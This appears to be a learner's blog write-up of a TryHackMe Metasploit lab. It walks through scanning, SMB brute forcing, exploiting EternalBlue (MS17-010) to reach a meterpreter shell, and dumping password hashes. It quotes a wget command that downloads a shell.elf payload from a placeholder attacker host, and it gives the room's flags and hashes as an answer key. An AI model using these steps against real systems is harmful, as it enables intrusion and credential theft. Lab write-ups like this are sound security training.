# Exploitation Basics: Metasploit: Exploitation (TryHackMe)

In this article, I will write a write-up for Metasploit: Exploitation that covers the Scanning, The Metasploit Database, Vulnerability Scanning, Exploitation, and Msfvenom.

I would be lying if I said going through this room was easy. I had to research some resources i.e. this [Medium Blog](https://medium.com/@jiteshofficial2004/tryhackme-metasploit-exploitation-easy-walkthrough-48d6db20cfbf) adds more step-by-step commands to run and this [YouTube channel](https://youtu.be/wJ7otbQrrtQ?si=G7P_EsOgGH1y8OHy) walks through the entire room including the discussions to help me understand how to get through different questions to get the right answer. I think Metasploit is interesting but this room might not be beginner-friendly, I hope I'll learn better using different resources with time.

1. How many ports are open on the target system? `5`
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1730276296743/fcc1d682-ab99-4c52-939f-a5a3758cb88a.png align="center")
    
2. Using the relevant scanner, what NetBIOS name can you see? `ACME IT SUPPORT`
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1730297805273/1d0d9c52-3e9e-4b39-ac99-5af29d860c7f.png align="center")
    
3. What is running on port 8000? `webfs/1.21`
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1730297886757/f47f1c6a-6e30-48ac-a677-8ed4c50e16fe.png align="center")
    
4. What is the "penny" user's SMB password? Use the wordlist mentioned in the previous task. `leo1234`
    
5. Who wrote the module that allows us to check SMTP servers for open relay? `Campbell Murray`
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1730307917603/c42d94c4-b49a-4b69-be63-348d02d46782.png align="center")
    

Deploy the target machine and answer the questions below:

6\. Exploit one of the critical vulnerabilities on the target VM

7\. What is the content of the flag.txt file? `THM-5455554845`

Follow the hint in question 6 that talks of `MS17-010` module. Check into the `msfconsole` then search this module then use 0 since it has `eternalblue` then set `LHOST` and `RHOST` then run exploit command this will open the `meterpreter` and we can now `search -f flag.txt`. It will show it’s path then you use `cat` to check the contents of the file (`flag.txt`)

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1730299168209/bd8f128e-e69b-4c33-a3d3-5548044cf346.png align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1730299139460/32896571-f337-4320-b14e-17805fd45d32.png align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1730299001674/ee46051b-c8f4-4f82-8eb0-c62b93b7beb1.png align="center")

8\. What is the NTLM hash of the password of the user "pirate"? `8ce9a3ebd1647fcc5e04025019f4b875`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1730307652606/9e063365-e25c-47b9-a283-859e03e8a7d7.png align="center")

9. Create a meterpreter payload in the .elf format (on the AttackBox, or your attacking machine of choice).
    
10. Transfer it to the target machine (you can start a Python web server on your attacking machine with the python3 -m http.server 9000 command and use wget http://ATTACKING\_MACHINE\_IP:9000/shell.elf to download it to the target machine).
    
11. Get a meterpreter session on the target machine.
    
12. Use a post-exploitation module to dump hashes of other users on the system.
    
13. What is the other user's password hash? `$6$Sy0NNIXw$SJ27WltHI89hwM5UxqVGiXidj94QFRm2Ynp9p9kxgVbjrmtMez9EqXoDWtcQd8rf0tjc77hBFbWxjGmQCTbep0`
    

Thank you for reading my article. Please leave any questions or comments on improving my learning journey and the THM challenges.